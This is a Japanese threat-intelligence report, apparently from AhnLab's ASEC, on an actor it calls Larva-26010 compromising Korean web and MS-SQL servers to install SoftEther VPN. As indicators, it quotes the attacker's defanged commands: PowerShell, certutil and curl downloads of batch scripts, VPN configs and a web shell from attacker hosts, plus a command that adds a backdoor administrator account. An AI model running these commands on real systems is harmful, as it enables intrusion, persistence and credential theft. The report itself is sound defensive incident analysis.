SoftEther VPN をインストールする韓国国内の Web サーバーを標的とした攻撃事例

AhnLab SEcurity intelligence Center (ASEC) は最近、韓国国内の Web サーバーを攻撃して SoftEther VPN をインストールする攻撃事例を複数確認した。オープンソース VPN である SoftEther VPN をインストールする攻撃事例については、2024年に公開した ASEC ブログ 「SoftEther VPN をインストールする韓国国内 ERP サーバーを対象とする攻撃事例の解析」[1] でも取り上げている。今回も類似した攻撃を行っている攻撃者は、同事例と同じ特徴を持っていることから、Larva-26010 に分類した。攻撃者は、感染したシステムを VPN サーバーとして利用するため、最終的に SoftEther VPN サービスをインストールしたものとみられる。

1. 過去の攻撃事例

感染したシステムを VPN サーバーとして利用する事例は以前から存在しており、オープンソースである SoftEther VPN が頻繁に使用されている。例えば、Microsoft 社のレポートでは、GALLIUM 攻撃者が攻撃対象のネットワークに SoftEther VPN サーバーをインストールし、これを経由して内部ネットワークへアクセスできるようにしていたことが報告されている。 [2] このほかにも、Kaspersky 社が公開した ToddyCat 攻撃者による攻撃事例や [3]、Mandiant 社が公開した UNC3500 の攻撃過程でも、SoftEther VPN をインストールした事例が確認されている。[4]

SoftEther VPN をインストールする攻撃事例は2024年にも韓国国内で確認された。この攻撃では、攻撃者が韓国企業に設置された ERP サーバーを標的とした。不適切に管理されている MS-SQL サーバーへ侵入した後、PowerShell や Bitsadmin、Certuil などのユーティリティを利用して SoftEther VPN をインストールし、最終的に Web シェルをインストールしたものと推定される。

2. 最新の攻撃事例

2026年4月から8月までに確認された攻撃事例についても、同一の攻撃者によるものとみられる。SoftEther VPN の実行ファイルを “vmtoolsd.exe” などに偽装している点や、ProgramData パスを使用している点、さらに設定ファイルとデータファイル “hamcore.se2” をそれぞれダウンロードしている点が共通している。このほか、UseLogonCredential レジストリキーを設定している点や、侵入事例で確認された Discovery コマンドもその大部分が同一である。

2.1. 初期侵入

以前の事例との違いとして、過去の事例では MS-SQL サーバーを攻撃した後に Discovery の過程を経て SoftEther VPN をインストールし、最終的に Web シェルをインストールしていた。一方、最新の攻撃事例では逆のログが確認されている点が挙げられる。
多くの事例では、初期侵入段階で Web サーバーを攻撃し、Web サービスによって Discovery コマンドだけでなく SoftEther VPN のインストールコマンドも実行されている。また、最終段階で MS-SQL サーバーを攻撃し、CLR SqlShell をインストールするケースも確認された。

最初の侵入経路については確認できていないが、Web サーバープロセスによって以下のような Discovery コマンドが実行されていた。

> whoami
> netstat -ano -p tcp
> netstat -ano
> tasklist
> query user
> curl -h
> where curl
> systeminfo
> ipconfig
> ipconfig /all
> ping 8.8.8.8

2.2. SoftEther VPN のインストール

その後、PowerShell コマンドによって Batch マルウェアをダウンロードするが、この中には SoftEther VPN をインストールするコマンドが含まれている。

> powershell iwr -uri hxxp://64.176.55[.]16:80/download/menu.bat -OutFile C:\ProgramData\1.bat
> powershell iwr -uri hxxp://139.180.210[.]71/download/m2.bat -OutFile C:\ProgramData\1.bat
> powershell iwr -uri hxxp://45.76.144[.]150/download/m2.bat -OutFile C:\ProgramData\1.bat

[図1] ダウンローダースクリプト

また、Cab ファイル形式、または直接 “hamcore.se2″、”vpn_server.config” をインストールするログも確認されている。

[図2] Web サーバーへの攻撃後に実行されたコマンド

> certutil -urlcache -split -f “hxxp://139.180.210[.]71/download/us320250823.cab” “C:\ProgramData\proxy.cab”
> certutil -urlcache -split -f “hxxp://64.176.55[.]16/download/us31231131.cab” “C:\ProgramData\proxy.cab”
> certutil -urlcache -split -f h”xxp://64.176.55[.]16:80/download/vmtoolsd.se2″ “C:\ProgramData\USOPulic\vmtoolsd.se2”
> curl hxxps://sendit[.]sh/Ebhcz/hamcore.se2 -o c:\programdata\dns\hamcore.se2
> curl hxxps://sendit[.]sh/LLXkB/dUHxy.config -o c:\programdata\dns\vpn_server.config
> curl -o c:\programdata\USOPublic\vpn_server.config hxxp://69.48.229[.]196:8080/download/server.config.hrx
> curl -o c:\programdata\USOPublic\hamcore.se2 hxxp://69.48.229[.]196:8080/download/core.img
> certutil -urlcache -split -f “hxxp://45.76.144[.]150/download/us3202508234.cab” “C:\ProgramData\proxy.cab”
> certutil -urlcache -split -f hxxp://69.48.229[.]54:8080/1/vmtoolsd.exe c:\programdata\vmtools\vmtoolsd.exe
> curl hxxp://69.48.229[.]54:8080/1/2.config -o c:\programdata\vmtools\vpn_server.config

設定ファイルを確認すると、攻撃者は感染システムを単独で VPN サービスを提供するサーバーとして利用するのではなく、別の VPN サーバーへ接続する “Cascade Connection” 方式で動作させていることが分かる。これは、実際の C&C インフラを直接露出させることや、追跡を困難にすることを目的としているものと推定される。

[図3] SoftEther VPN の設定ファイル

2.3. 追加の動作

ここまでの処理が完了すると、UseLogonCredential レジストリキーを設定する。これは、WDigest による平文パスワード保存機能を有効にし、後から認証情報を窃取することを目的としたものとみられる。

また、別の事例では、以下のようなコマンドを実行してどのような認証方式がインストールされているかを確認するとともに、ローカルセキュリティポリシーを抽出し、ドメインへの参加状況を確認している。

> reg query “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers”
> secedit /export /cfg C:\Windows\Temp\secpol.cfg
> dsregcmd /status

さらに、MS-SQL サーバーを攻撃して CLR SqlShell をインストールするケースも確認されている。攻撃に使用された SqlShell は、コマンド実行やペイロードのダウンロードといった基本的な機能だけでなく、BadPotato や EfsPotato を利用した権限昇格、メモリダンプ、ユーザーアカウントの追加、シェルコードの実行などの機能にも対応している。

[図4] MS-SQL サーバーにインストールされた SqlShell

このほか、以下のように Web シェルを追加でインストールしたと推定されるログや、”adminsitrator” というアカウントを追加するコマンドも確認されている。

> powershell iwr -uri hxxp://bashupload[.]app/p62mh8.bin -OutFile D:\*****\*****\403.aspx
> powershell -c “$u=[ADSI]’WinNT://./’;$user=$u.Create(‘User’,’adminsitrator’);$user.SetPassword(‘Pa******@#’);$user.SetInfo()”

3. 結論

Larva-26010 の攻撃者は、少なくとも2024年から韓国国内の Web サーバーおよび MS-SQL サーバーを攻撃し、SoftEther VPN サーバーをインストールしている。初期侵入後、Web シェルや SqlShell をインストールして感染システムを制御しているとみられ、最終的に SoftEther をインストールする。
バックドアアカウントや Web シェルのインストールを除けば、追加の悪意のある動作は確認されていないが、攻撃者は感染したシステムを後から C&C サーバーとして利用することを目的としているものとみられる。

管理者は、脆弱な Web サーバーの点検を行うとともに、DBMS へのクエリや Web サービスへのリクエストに対する入力値の検証、アップロードフォルダーに対する実行権限の制限、IIS Web サーバーおよび OS への最新のセキュリティパッチの適用を行う必要がある。
また、V3 を最新バージョンにアップデートし、マルウェア感染を事前に防止できるよう対策する必要がある。